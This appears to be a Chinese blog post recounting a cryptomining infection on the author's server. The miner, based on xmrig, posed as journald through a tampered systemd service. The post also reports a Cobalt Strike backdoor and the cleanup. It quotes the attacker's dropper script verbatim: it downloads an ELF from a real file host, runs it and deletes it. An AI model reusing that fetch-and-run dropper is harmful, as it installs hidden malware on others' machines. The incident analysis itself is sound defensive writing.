发现问题

一觉起来发现网站502了，还以为是哪个服务跑崩了，结果ssh上去重启也重启不了，看了看面板发现cpu居然报到140%多，但是内存不高，赶紧top了一下看看

发现journal占用了99%以上的内存，这就很奇怪了，尤其在这之前为了节省空间还专门配置过journal的参数，无奈想试试先kill掉，结果是果然kill不掉，在面板里强制重启一下，好景不长，journal很快再度占满cpu，这就不好办了，甚至连nginx等基本业务都无法保证，遂必须排查出问题

尝试了网上解决journal占用过高的方案，均没有效果，查看最近的十条日志，发现最新一条始终是journal已关闭（埋下伏笔#1）

ps -aux看一下详细的进程情况

发现这个占用99%的进程为systemctl-journald，但是有一个奇怪的点，只要whereis systemctl-journald一下就能看到真正的journal的位置是/usr/lib/systemctl-journald而这里的journal服务的位置却是在一个奇怪的/root/.local/.share/下，这是一个root目录下的隐藏文件夹，作为一个系统服务，在这里运行还使用的是一个莫名其妙的json，这就大有蹊跷了，进去看看

这里有一个journald和logind，看看配置文件，发现大问题

看到mine，再结合cpu爆满，结论也就呼之欲出了，这回服务器中了挖矿病毒，根据配置文件中的链接可以得知这是一个叫猫池-c3pool的cpu挖矿平台，使用的也是经典挖矿程序，挖矿病毒xmrig，可以看到有相当多的机器中招，其中不乏种子机，NAS，这样的家庭设备，不过查到的xmrig病毒的处理办法也不太适用，因为这里找不到xmrig的进程，取而代之的是journal，而且kill也没法停止

深入调查

既然如此，就得再找找更多信息了，而且还没有找到病毒进入服务器的途径

再进入/root/.local/.congig/发现异常，有个systemd-udevd文件

!/bin/bash

if [ "$(pidof systemd-networkd | wc -w)" -lt "2" ]; then
mkdir -p ~/.local/.cache
curl -s4 -L https://files.catbox.moe/fdo5or.elf -o /root/.local/.cache/systemd-networkd
chmod a+x /root/.local/.cache/systemd-networkd
/root/.local/.cache/systemd-networkd
sleep 5
rm /root/.local/.cache/systemd-networkd
fi

这就很明显有问题了，这个shell从网上载下来提前存放好的木马并且重命名，然后授权后运行它，并在5秒后删除

把他下载下来排查一下：

居然还是CS的后门，太意外了，可以溯源到他的目标IP，先在防火墙里ban掉以防他再有小动作，然后想逆向一下后门看看，无奈没有成功不过好在知道了完整的传播途径。

但是为什么变成了journal，还不能kill呢？看了看service文件

已经给改的面目全非了，他把原来的服务篡改掉，换成他由xrmig改出来的journald，并且设置为开机启动，总是重启，所以怎么都kill不掉，从外在看还是journal服务出现了问题，设计的非常精明

解决问题

这样一来，问题就全部明晰了，先把已经发现的病毒，脚本全部删除，再排查一下有没有后门遗留，把溯源得到的ip和不正常链接到服务器过的ip全部ban掉，重写journald服务配置文件，重启服务器，一切恢复正常，日志也能正常显示了

小结

这次问题的出现回想一下大概是因为两个原因，使用第三方脚本安装程序，使用弱口令的程序服务并且关闭防火墙，首先使用脚本一定要从可信的地方获取，其次一定要及时更改安装的服务的密码或端口，尤其是直接暴露在公网的服务，如果简单的使用弱口令或使用脚本提供的预设密码，很容易被爆破，这次就是使用脚本安装的qbittorrent，没有修改任何安全参数，才导致被入侵